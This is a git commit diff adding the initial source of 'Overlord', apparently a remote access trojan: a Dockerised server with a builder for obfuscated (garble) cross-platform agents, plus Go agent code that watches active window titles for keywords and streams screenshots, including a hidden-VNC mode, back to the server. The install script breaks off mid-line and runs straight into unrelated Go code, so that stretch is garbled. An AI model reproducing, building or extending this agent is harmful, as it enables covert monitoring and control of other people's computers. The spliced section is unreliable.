commit f8515a288378aba538124b2306e7f0c84d75b2fa Author: KingKDot Date: Thu Mar 5 00:04:26 2026 -0600 inital commit diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..209e933 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,38 @@ +# Node/Bun +node_modules/ +.next/ +.cache/ +dist/ +.tmp/ + +# Database +*.db +*.db-journal + +# Configuration (contains secrets) +config.json + +# Certificates +certs/ +*.crt +*.key +*.pem +*.csr + +# OS +.DS_Store +Thumbs.db +.idea +.vscode + +# Git +.git +.gitignore +.gitattributes + +# Build outputs +dist-clients/ + +# Logs +*.log +logs/ diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..298c3ca --- /dev/null +++ b/.env.example @@ -0,0 +1,53 @@ +# Overlord Configuration (Optional Overrides) +# +# Most users don't need to create a .env file! +# The docker-compose.yml has sensible defaults. +# +# On first startup, secrets are auto-generated and persisted in ./data/save.json +# when not explicitly provided. +# +# Only create .env if you want to customize: + +# ============================================ +# PRODUCTION: Use pre-built image +# ============================================ +# Set this to pull from registry instead of building locally +# DOCKER_IMAGE=ghcr.io/yourusername/overlord-server:latest + +# ============================================ +# OPTIONAL: Custom initial admin username +# ============================================ +# Default is "admin" - change if you prefer a different username +# OVERLORD_USER=myadmin + +# OPTIONAL: Custom initial admin password +# Leave empty to generate and persist to save.json +# OVERLORD_PASS= + +# ============================================ +# OPTIONAL: Custom port +# ============================================ +# Default is 5173 +# PORT=8080 + +# ============================================ +# ADVANCED: Custom JWT secret +# ============================================ +# Leave empty to auto-generate and persist to save.json (recommended) +# JWT_SECRET= + +# OPTIONAL: Agent authentication token +# Leave empty to auto-generate and persist to save.json +# OVERLORD_AGENT_TOKEN= + +# ============================================ +# ADVANCED: Custom TLS certificates +# ============================================ +# Leave as defaults to use auto-generated self-signed certs +# OVERLORD_TLS_CERT=/custom/path/server.crt +# OVERLORD_TLS_KEY=/custom/path/server.key + +# Agent builder settings (only needed if building agents) +# TARGETS=windows/amd64,windows/386,windows/arm64,linux/amd64,linux/arm64,linux/arm/v7,darwin/amd64,darwin/arm64 +# GO_BUILD_FLAGS=-trimpath +# LDFLAGS=-s -w diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..aa43e85 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,15 @@ +# Force LF line endings for shell scripts +*.sh text eol=lf + +# Force LF line endings for Go source files +*.go text eol=lf + +# Force CRLF for Windows batch files +*.bat text eol=crlf + +# Binary files +*.png binary +*.jpg binary +*.jpeg binary +*.ico binary +*.db binary diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml new file mode 100644 index 0000000..0e3d8d2 --- /dev/null +++ b/.github/workflows/docker-publish.yml @@ -0,0 +1,58 @@ +name: overlord-ci + +on: + push: + tags: + - 'v*' + workflow_dispatch: + +env: + REGISTRY: ghcr.io + IMAGE_NAME: ${{ github.repository }} + +jobs: + build-and-push: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Normalize image name + run: echo "IMAGE_NAME=${GITHUB_REPOSITORY,,}" >> $GITHUB_ENV + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - name: Log in to GitHub Container Registry + uses: docker/login-action@v3 + with: + registry: ${{ env.REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Extract metadata + id: meta + uses: docker/metadata-action@v5 + with: + images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} + tags: | + type=semver,pattern={{version}} + type=semver,pattern={{major}}.{{minor}} + type=semver,pattern={{major}} + type=raw,value=latest,enable={{is_default_branch}} + + - name: Build and push server image + uses: docker/build-push-action@v5 + with: + context: . + file: ./Dockerfile + push: true + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} + cache-from: type=gha + cache-to: type=gha,mode=max + platforms: linux/amd64,linux/arm64 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f50f955 --- /dev/null +++ b/.gitignore @@ -0,0 +1,48 @@ +# Node/Bun +node_modules/ +bun.lockb +.next/ +.cache/ +dist/ +.tmp/ +*.db + +# Build output +Overlord-Server/public/assets/tailwind.css + +# Configuration +config.json + +# Docker +.env + +# Go +bin/ +*.exe +*.test +*.out + +# Certificates (auto-generated) +certs/ +*.crt +*.key +*.pem +*.csr + +# OS +.DS_Store +Thumbs.db + +dist-clients/* + +# Plugins +Overlord-Server/plugins/*.zip +Overlord-Server/plugins/.plugin-state.json +plugin-sample-go/*.wasm +plugin-sample-go/*.zip + +# Runtime data +Overlord-Server/data/ + +# Release packaging output +release/ \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..3db313c --- /dev/null +++ b/Dockerfile @@ -0,0 +1,57 @@ +# Overlord Server Dockerfile +FROM oven/bun:1 AS base +WORKDIR /app + +# Install Go for agent building and other tools +RUN apt-get update \ + && apt-get install -y --no-install-recommends \ + openssl \ + curl \ + ca-certificates \ + wget \ + git \ + && rm -rf /var/lib/apt/lists/* + +# Install Go (latest stable version) +ENV GO_VERSION=1.25.6 +ARG TARGETARCH +RUN case "${TARGETARCH}" in \ + amd64) GO_ARCH=amd64 ;; \ + arm64) GO_ARCH=arm64 ;; \ + *) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \ + esac \ + && wget -q https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \ + && tar -C /usr/local -xzf go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \ + && rm go${GO_VERSION}.linux-${GO_ARCH}.tar.gz + +ENV PATH="/usr/local/go/bin:${PATH}" +ENV GOPATH="/go" +ENV PATH="${GOPATH}/bin:${PATH}" + +# Install garble for obfuscated agent builds (requires Go 1.25+) +RUN go install mvdan.cc/garble@latest + +# Copy package files +COPY Overlord-Server/package.json Overlord-Server/bun.lockb* ./ + +# Install dependencies +RUN bun install --frozen-lockfile + +# Copy source code and client code (needed for builds) +COPY Overlord-Server/ ./ +COPY Overlord-Client/ ../Overlord-Client/ + +# Create necessary directories +RUN mkdir -p certs public data + +# Expose the default port +EXPOSE 5173 + +# Set environment variables (can be overridden) +ENV PORT=5173 +ENV HOST=0.0.0.0 +ENV DATA_DIR=/app/data +ENV NODE_ENV=production + +# Run the server +CMD ["bun", "run", "src/index.ts"] diff --git a/Install-Debian-Linux(GIVE ME SUDO).sh b/Install-Debian-Linux(GIVE ME SUDO).sh new file mode 100644 index 0000000..7e0edad --- /dev/null +++ b/Install-Debian-Linux(GIVE ME SUDO).sh @@ -0,0 +1,41 @@ + sudo apt remove $(dpkg --get-selections docker.io docker-compose docker-doc podman-docker containerd runc | cut -f1) +# Add Docker's official GPG key: +sudo apt update +sudo apt install ca-certificates curl +sudo install -m 0755 -d /etc/apt/keyrings +sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc +sudo chmod a+r /etc/apt/keyrings/docker.asc + +# Add the repository to Apt sources: +sudo tee /etc/apt/sources.list.d/docker.sources < 0 { + key := strings.ToLower(match) + if last, ok := lastSent[key]; ok { + if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond { + continue + } + } + lastSent[key] = time.Now().UnixMilli() + } + procPath := queryProcessPath(pid) + procName := filepath.Base(procPath) + if procName == "." || procName == "" { + procName = "unknown" + } + note := wire.Notification{ + Type: "notification", + Category: "active_window", + Title: title, + Process: procName, + ProcessPath: procPath, + PID: int32(pid), + Keyword: match, + TS: time.Now().UnixMilli(), + } + if err := wire.WriteMsg(ctx, env.Conn, note); err != nil { + log.Printf("activewindow: send notification failed: %v", err) + } + } + } +} + +func matchKeyword(title string, keywords []string) string { + if title == "" { + return "" + } + lower := strings.ToLower(title) + for _, kw := range keywords { + k := strings.ToLower(strings.TrimSpace(kw)) + if k == "" { + continue + } + if strings.Contains(lower, k) { + return kw + } + } + return "" +} + +func getActiveWindow() (string, uint32) { + hwnd := getForegroundWindow() + if hwnd == 0 { + return "", 0 + } + length := getWindowTextLength(hwnd) + if length == 0 { + return "", getWindowPID(hwnd) + } + buf := make([]uint16, length+1) + _, _, _ = procGetWindowTextW.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1)) + return windows.UTF16ToString(buf), getWindowPID(hwnd) +} + +func getForegroundWindow() windows.Handle { + hwnd, _, _ := procGetForegroundWindow.Call() + return windows.Handle(hwnd) +} + +func getWindowTextLength(hwnd windows.Handle) int { + length, _, _ := procGetWindowTextLengthW.Call(uintptr(hwnd)) + return int(length) +} + +func getWindowPID(hwnd windows.Handle) uint32 { + var pid uint32 + _, _, _ = procGetWindowThreadProcessId.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid))) + return pid +} + +func queryProcessPath(pid uint32) string { + h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid) + if err != nil { + return "" + } + defer windows.CloseHandle(h) + buf := make([]uint16, 1024) + size := uint32(len(buf)) + if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &size); err != nil { + return "" + } + return windows.UTF16ToString(buf[:size]) +} diff --git a/Overlord-Client/cmd/agent/capture.go b/Overlord-Client/cmd/agent/capture.go new file mode 100644 index 0000000..dea9390 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture.go @@ -0,0 +1,93 @@ +package main + +import ( + "bytes" + "context" + "image" + "image/jpeg" + + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/kbinani/screenshot" +) + +var ( + activeDisplays = screenshot.NumActiveDisplays + captureDisplayFn = screenshot.CaptureDisplay +) + +func captureLoop(ctx context.Context, env *rt.Env) { + + if supportsCapture() { + _ = captureAndSend(ctx, env) + } + + <-ctx.Done() +} + +func supportsCapture() bool { + + return safeDisplayCount() > 0 +} + +func captureAndSend(ctx context.Context, env *rt.Env) error { + if safeDisplayCount() == 0 { + return nil + } + img, err := safeCaptureDisplay(0) + if err != nil { + return err + } + if img == nil { + return nil + } + + buf := bytes.Buffer{} + if err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: 60}); err != nil { + return err + } + frame := wire.Frame{ + Type: "frame", + Header: wire.FrameHeader{Monitor: 0, FPS: 1, Format: "jpeg"}, + Data: buf.Bytes(), + } + return wire.WriteMsg(ctx, env.Conn, frame) +} + +func CaptureNow(ctx context.Context, env *rt.Env) error { + if !supportsCapture() { + return nil + } + return captureAndSend(ctx, env) +} + +func safeCaptureDisplay(display int) (*image.RGBA, error) { + defer func() { + if recover() != nil { + + } + }() + img, err := captureDisplayFn(display) + if err != nil { + return nil, err + } + return img, nil +} + +func safeDisplayCount() int { + defer func() { + if recover() != nil { + } + }() + return activeDisplays() +} + +func monitorCount() int { + n := safeDisplayCount() + if n <= 0 { + + return 1 + } + return n +} diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go new file mode 100644 index 0000000..510efc5 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -0,0 +1,1251 @@ +package capture + +import ( + "bytes" + "context" + "encoding/binary" + "image" + "image/draw" + "log" + "os" + goruntime "runtime" + "sort" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func Loop(ctx context.Context, env *rt.Env) { + defer recoverAndLog("capture loop", env.Cancel) + + if env.Cfg.DisableCapture { + log.Printf("capture: disabled by config, sending black placeholder") + + if err := sendBlackFrame(ctx, env); err != nil { + log.Printf("capture: black frame failed: %v", err) + } + } else if supportsCapture() { + + done := make(chan struct{}) + goSafe("capture initial frame", env.Cancel, func() { + defer close(done) + var err error + if goruntime.GOOS == "windows" && activeDisplays() > 1 { + err = captureAllDisplaysAndSend(ctx, env) + } else { + err = CaptureAndSend(ctx, env) + } + if err != nil { + log.Printf("capture: initial frame failed: %v (continuing anyway)", err) + } else { + log.Printf("capture: initial frame sent") + } + }) + + select { + case <-done: + + case <-time.After(3 * time.Second): + log.Printf("capture: initial frame timed out after 3s (continuing anyway)") + } + } else { + log.Printf("capture: no displays detected; skipping initial frame") + } + <-ctx.Done() +} + +func Now(ctx context.Context, env *rt.Env) error { + if env.Cfg.DisableCapture { + return sendBlackFrame(ctx, env) + } + if !supportsCapture() { + return nil + } + return CaptureAndSend(ctx, env) +} + +func CaptureDisplayRGBA(display int) (*image.RGBA, error) { + if !supportsCapture() { + return nil, nil + } + if display < 0 || display >= safeDisplayCount() { + display = 0 + } + return safeCaptureDisplay(display) +} + +func CaptureAndSend(ctx context.Context, env *rt.Env) error { + defer recoverAndLog("capture send", env.Cancel) + + displays := activeDisplays() + if displays == 0 { + log.Printf("capture: no displays available") + return nil + } + display := env.SelectedDisplay + if display < 0 || display >= displays { + display = 0 + log.Printf("capture: requested display %d out of range, defaulting to 0 (monitors=%d)", env.SelectedDisplay, displays) + } + t0 := time.Now() + img, err := safeCaptureDisplay(display) + if err != nil { + log.Printf("capture: capture failed: %v (sending black frame)", err) + return sendBlackFrame(ctx, env) + } + if img == nil { + log.Printf("capture: capture returned nil image (sending black frame)") + return sendBlackFrame(ctx, env) + } + captureDur := time.Since(t0) + + quality := jpegQuality() + frame, encodeDur, err := buildFrame(img, display, quality) + if err != nil { + return err + } + now := time.Now() + fps := frameFPS(now) + if fps <= 0 { + fps = 1 + } + frame.Header.FPS = fps + if ctx.Err() != nil { + return nil + } + sendStart := time.Now() + err = wire.WriteMsg(ctx, env.Conn, frame) + sendDur := time.Since(sendStart) + if shouldLogFrame(now) { + total := time.Since(t0) + frames := statFrames.Load() + capAvg := avgMs(statCapNs.Load(), frames) + encAvg := avgMs(statEncNs.Load(), frames) + sendAvg := avgMs(statSendNs.Load(), frames) + totalAvg := avgMs(statTotalNs.Load(), frames) + bytesAvg := avgBytes(statBytes.Load(), frames) + detectAvg := avgMs(statDetectNs.Load(), frames) + mergeAvg := avgMs(statMergeNs.Load(), frames) + blkJpegAvg := avgMs(statBlkJpegNs.Load(), frames) + prevCopyAvg := avgMs(statPrevCopyNs.Load(), frames) + full := statFullFrames.Load() + blocks := statBlockFrames.Load() + keep := statKeepaliveFrames.Load() + regions := statBlockRegions.Load() + fallbacks := statBlockFallbacks.Load() + avgRegions := float64(0) + if blocks > 0 { + avgRegions = float64(regions) / float64(blocks) + } + log.Printf("capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s | avg cap=%.2fms enc=%.2fms send=%.2fms total=%.2fms avgSize=%.0fB frames=%d detect=%.2fms merge=%.2fms blkJpeg=%.2fms prevCopy=%.2fms full=%d blocks=%d keep=%d fallbacks=%d avgRegions=%.2f", display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total, capAvg, encAvg, sendAvg, totalAvg, bytesAvg, frames, detectAvg, mergeAvg, blkJpegAvg, prevCopyAvg, full, blocks, keep, fallbacks, avgRegions) + resetStats() + } + + statFrames.Add(1) + statCapNs.Add(captureDur.Nanoseconds()) + statEncNs.Add(encodeDur.Nanoseconds()) + statSendNs.Add(sendDur.Nanoseconds()) + statTotalNs.Add(time.Since(t0).Nanoseconds()) + statBytes.Add(int64(len(frame.Data))) + return err +} + +// captureAllDisplaysAndSend stitches all monitors into a single image and sends +// it as the initial frame. Used on Windows so the dashboard thumbnail shows +// every monitor, not just the primary one. +func captureAllDisplaysAndSend(ctx context.Context, env *rt.Env) error { + defer recoverAndLog("capture all displays send", env.Cancel) + + n := activeDisplays() + if n <= 0 { + return nil + } + + type monCapture struct { + bounds image.Rectangle + img *image.RGBA + } + parts := make([]monCapture, 0, n) + minX, minY := int(1e9), int(1e9) + maxX, maxY := int(-1e9), int(-1e9) + + for i := 0; i < n; i++ { + bounds := displayBounds(i) + img, err := safeCaptureDisplay(i) + if err != nil || img == nil { + log.Printf("capture: all-displays: display %d failed: %v, falling back to single", i, err) + return CaptureAndSend(ctx, env) + } + parts = append(parts, monCapture{bounds: bounds, img: img}) + if bounds.Min.X < minX { + minX = bounds.Min.X + } + if bounds.Min.Y < minY { + minY = bounds.Min.Y + } + if bounds.Max.X > maxX { + maxX = bounds.Max.X + } + if bounds.Max.Y > maxY { + maxY = bounds.Max.Y + } + } + + canvas := image.NewRGBA(image.Rect(0, 0, maxX-minX, maxY-minY)) + for _, part := range parts { + offX := part.bounds.Min.X - minX + offY := part.bounds.Min.Y - minY + dst := image.Rect(offX, offY, offX+part.img.Rect.Dx(), offY+part.img.Rect.Dy()) + draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src) + } + + quality := jpegQuality() + frame, _, err := buildFrame(canvas, 0, quality) + if err != nil { + return err + } + frame.Header.FPS = 1 + log.Printf("capture: all-displays initial frame %dx%d (%d monitors)", canvas.Rect.Dx(), canvas.Rect.Dy(), n) + return wire.WriteMsg(ctx, env.Conn, frame) +} + +func supportsCapture() bool { + return safeDisplayCount() > 0 +} + +func safeCaptureDisplay(display int) (*image.RGBA, error) { + defer func() { + _ = recover() + }() + img, err := captureDisplayFn(display) + if err != nil { + return nil, err + } + return img, nil +} + +func safeDisplayCount() int { + defer func() { + _ = recover() + }() + return displayCount() +} + +func sendBlackFrame(ctx context.Context, env *rt.Env) error { + if ctx.Err() != nil { + return nil + } + + img := image.NewRGBA(image.Rect(0, 0, 64, 64)) + + quality := 60 + frame, _, err := buildFrame(img, 0, quality) + if err != nil { + return err + } + frame.Header.FPS = 1 + return wire.WriteMsg(ctx, env.Conn, frame) +} + +func MonitorCount() int { + n := safeDisplayCount() + if n <= 0 { + return 1 + } + return n +} + +const frameLogInterval = 5 * time.Second + +var ( + fpsWindowStart atomic.Int64 + fpsCount atomic.Int64 + fpsLatest atomic.Int64 + lastFrameLog atomic.Int64 + lastKeyframe atomic.Int64 + fullNextFrames atomic.Int64 + + statFrames atomic.Int64 + statCapNs atomic.Int64 + statEncNs atomic.Int64 + statSendNs atomic.Int64 + statTotalNs atomic.Int64 + statBytes atomic.Int64 + statDetectNs atomic.Int64 + statMergeNs atomic.Int64 + statBlkJpegNs atomic.Int64 + statPrevCopyNs atomic.Int64 + statFullFrames atomic.Int64 + statBlockFrames atomic.Int64 + statKeepaliveFrames atomic.Int64 + statBlockRegions atomic.Int64 + statBlockFallbacks atomic.Int64 + + overrideQuality atomic.Int64 + overrideCodec atomic.Value + + prevMu sync.Mutex + prevFrame *prevImage +) + +type prevImage struct { + w int + h int + pix []byte +} + +func frameFPS(now time.Time) int { + start := fpsWindowStart.Load() + if start == 0 { + if fpsWindowStart.CompareAndSwap(0, now.UnixNano()) { + fpsCount.Store(1) + return int(fpsLatest.Load()) + } + start = fpsWindowStart.Load() + } + + fpsCount.Add(1) + elapsed := time.Duration(now.UnixNano() - start) + if elapsed >= time.Second { + frames := fpsCount.Swap(0) + if frames > 0 { + fps := int(float64(frames) / elapsed.Seconds()) + fpsLatest.Store(int64(fps)) + } + fpsWindowStart.Store(now.UnixNano()) + } + + return int(fpsLatest.Load()) +} + +func shouldLogFrame(now time.Time) bool { + last := time.Unix(0, lastFrameLog.Load()) + if now.Sub(last) >= frameLogInterval { + lastFrameLog.Store(now.UnixNano()) + return true + } + return false +} + +func requestFullFrames(count int) { + if count <= 0 { + return + } + fullNextFrames.Store(int64(count)) +} + +func consumeFullFrame() bool { + for { + val := fullNextFrames.Load() + if val <= 0 { + return false + } + if fullNextFrames.CompareAndSwap(val, val-1) { + return true + } + } +} + +func ResetPrev() { + prevMu.Lock() + prevFrame = nil + prevMu.Unlock() + lastKeyframe.Store(0) + requestFullFrames(2) +} + +func jpegQuality() int { + + if q := overrideQuality.Load(); q > 0 { + return int(q) + } + q := int(loadOnceInt(&cachedJPEGQuality, 95)) + if q < 20 { + q = 20 + } + if q > 100 { + q = 100 + } + return q +} + +var ( + jpegQualityOnce sync.Once + cachedJPEGQuality int64 + blockCodecOnce sync.Once + cachedBlockCodec string +) + +func loadOnceInt(target *int64, def int) int64 { + jpegQualityOnce.Do(func() { + if env := os.Getenv("OVERLORD_JPEG_QUALITY"); env != "" { + if v, err := strconv.Atoi(env); err == nil { + *target = int64(v) + return + } + } + *target = int64(def) + }) + return atomic.LoadInt64(target) +} + +func resetStats() { + statFrames.Store(0) + statCapNs.Store(0) + statEncNs.Store(0) + statSendNs.Store(0) + statTotalNs.Store(0) + statBytes.Store(0) + statDetectNs.Store(0) + statMergeNs.Store(0) + statBlkJpegNs.Store(0) + statPrevCopyNs.Store(0) + statFullFrames.Store(0) + statBlockFrames.Store(0) + statKeepaliveFrames.Store(0) + statBlockRegions.Store(0) + statBlockFallbacks.Store(0) +} + +func avgMs(ns int64, frames int64) float64 { + if frames == 0 { + return 0 + } + return float64(ns) / 1e6 / float64(frames) +} + +func avgBytes(b int64, frames int64) float64 { + if frames == 0 { + return 0 + } + return float64(b) / float64(frames) +} + +const ( + blockSize = 64 + maxBlockRatio = 0.40 + keyframeEvery = 5 * time.Second + enableBlocks = true + samplingRate = 3 + minBlockSize = 32 + changeThresh = 3 + blockMargin = 8 + blockCodecEnv = "OVERLORD_BLOCK_CODEC" + cursorROIMargin = 32 + windowROIMargin = 12 + + hvncSamplingRate = 1 + hvncChangeThresh = 1 +) + +func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) { + encStart := time.Now() + width := img.Bounds().Dx() + height := img.Bounds().Dy() + full := false + now := time.Now() + codec := blockCodec() + + if !enableBlocks { + jpegBytes, err := encodeJPEG(img, quality) + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg"}, Data: jpegBytes}, time.Since(encStart), err + } + + prevMu.Lock() + pf := prevFrame + prevMu.Unlock() + + if pf == nil || pf.w != width || pf.h != height { + full = true + } + + if consumeFullFrame() { + full = true + } + + if !full && keyframeEvery > 0 { + last := time.Unix(0, lastKeyframe.Load()) + if now.Sub(last) >= keyframeEvery { + full = true + } + } + + if full { + jpegBytes, err := encodeJPEG(img, quality) + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + lastKeyframe.Store(now.UnixNano()) + statFullFrames.Add(1) + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg"}, Data: jpegBytes}, time.Since(encStart), err + } + + blocks, blockPayload, encDur, err := encodeBlocks(img, pf, quality, codec, display) + if err != nil { + return wire.Frame{}, encDur, err + } + + if blocks == 0 { + + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + statKeepaliveFrames.Add(1) + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks"}, Data: blockPayload}, encDur, nil + } + + totalBlocks := ((width + blockSize - 1) / blockSize) * ((height + blockSize - 1) / blockSize) + changedRatio := float64(blocks) / float64(totalBlocks) + + if changedRatio > maxBlockRatio { + jpegBytes, err := encodeJPEG(img, quality) + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + lastKeyframe.Store(now.UnixNano()) + statBlockFallbacks.Add(1) + statFullFrames.Add(1) + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg"}, Data: jpegBytes}, time.Since(encStart), err + } + + statBlockFrames.Add(1) + statBlockRegions.Add(int64(blocks)) + format := "blocks" + if codec == "raw" { + format = "blocks_raw" + } + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil +} + +func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) { + encStart := time.Now() + width := img.Bounds().Dx() + height := img.Bounds().Dy() + codec := blockCodec() + + now := time.Now() + prevMu.Lock() + pf := prevFrame + prevMu.Unlock() + + if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, lastKeyframe.Load())) > keyframeEvery { + jpegBytes, err := encodeJPEG(img, quality) + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + lastKeyframe.Store(now.UnixNano()) + statFullFrames.Add(1) + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes} + return frame, time.Since(encStart), err + } + + // use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures + // because of how slow the capture shit is. + blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display) + if err != nil { + return wire.Frame{}, encDur, err + } + + if blocks == 0 { + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + statKeepaliveFrames.Add(1) + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload} + return frame, encDur, nil + } + + totalBlocks := ((width + blockSize - 1) / blockSize) * ((height + blockSize - 1) / blockSize) + changedRatio := float64(blocks) / float64(totalBlocks) + + if changedRatio > maxBlockRatio { + jpegBytes, err := encodeJPEG(img, quality) + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + lastKeyframe.Store(now.UnixNano()) + statBlockFallbacks.Add(1) + statFullFrames.Add(1) + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes} + return frame, time.Since(encStart), err + } + + statBlockFrames.Add(1) + statBlockRegions.Add(int64(blocks)) + format := "blocks" + if codec == "raw" { + format = "blocks_raw" + } + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload} + return frame, encDur, nil +} + +type streamRegion struct{ x, y, w, h int } + +type roiHint struct { + rect image.Rectangle + weight int +} + +func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) { + width := img.Bounds().Dx() + height := img.Bounds().Dy() + stride := img.Stride + prevStride := prev.w * 4 + rois := collectROIHints(display, width, height) + + blocksWide := (width + blockSize - 1) / blockSize + blocksHigh := (height + blockSize - 1) / blockSize + changedGrid := make([]bool, blocksWide*blocksHigh) + + changedCount := 0 + passDetectStart := time.Now() + for by := 0; by < blocksHigh; by++ { + for bx := 0; bx < blocksWide; bx++ { + x := bx * blockSize + y := by * blockSize + ww := blockSize + hh := blockSize + if x+ww > width { + ww = width - x + } + if y+hh > height { + hh = height - y + } + + changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) + if !changed && blockIntersectsROI(x, y, ww, hh, rois) { + changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) + } + if changed { + changedGrid[by*blocksWide+bx] = true + changedCount++ + } + } + } + + statDetectNs.Add(time.Since(passDetectStart).Nanoseconds()) + + if changedCount == 0 { + buf := bytes.Buffer{} + _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + return 0, buf.Bytes(), 0, nil + } + + mergeStart := time.Now() + var regions []streamRegion + visited := make([]bool, len(changedGrid)) + + for by := 0; by < blocksHigh; by++ { + for bx := 0; bx < blocksWide; bx++ { + idx := by*blocksWide + bx + if !changedGrid[idx] || visited[idx] { + continue + } + + endX := bx + for endX+1 < blocksWide && changedGrid[by*blocksWide+endX+1] && !visited[by*blocksWide+endX+1] { + endX++ + } + + endY := by + canExpandY := true + for canExpandY && endY+1 < blocksHigh { + for tx := bx; tx <= endX; tx++ { + if !changedGrid[(endY+1)*blocksWide+tx] || visited[(endY+1)*blocksWide+tx] { + canExpandY = false + break + } + } + if canExpandY { + endY++ + } + } + + for ry := by; ry <= endY; ry++ { + for rx := bx; rx <= endX; rx++ { + visited[ry*blocksWide+rx] = true + } + } + + x := bx * blockSize + y := by * blockSize + w := ((endX + 1) * blockSize) + h := ((endY + 1) * blockSize) + + if x >= blockMargin { + x -= blockMargin + w += blockMargin + } else { + w += x + x = 0 + } + if y >= blockMargin { + y -= blockMargin + h += blockMargin + } else { + h += y + y = 0 + } + + w += blockMargin + h += blockMargin + + if w > width { + w = width + } + if h > height { + h = height + } + w -= x + h -= y + + regions = append(regions, streamRegion{x: x, y: y, w: w, h: h}) + } + } + sortRegionsByROI(regions, rois) + + statMergeNs.Add(time.Since(mergeStart).Nanoseconds()) + + buf := bytes.Buffer{} + _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions))) + _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + + totalEncDur := time.Duration(0) + for _, r := range regions { + t0 := time.Now() + var payload []byte + var err error + if codec == "raw" { + payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h) + } else { + + blockQuality := quality + 10 + if blockQuality > 100 { + blockQuality = 100 + } + payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality) + } + blockDur := time.Since(t0) + totalEncDur += blockDur + statBlkJpegNs.Add(blockDur.Nanoseconds()) + if err != nil { + return len(regions), nil, totalEncDur, err + } + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.x)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.y)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.w)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.h)) + _ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload))) + buf.Write(payload) + } + + prevCopyStart := time.Now() + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + 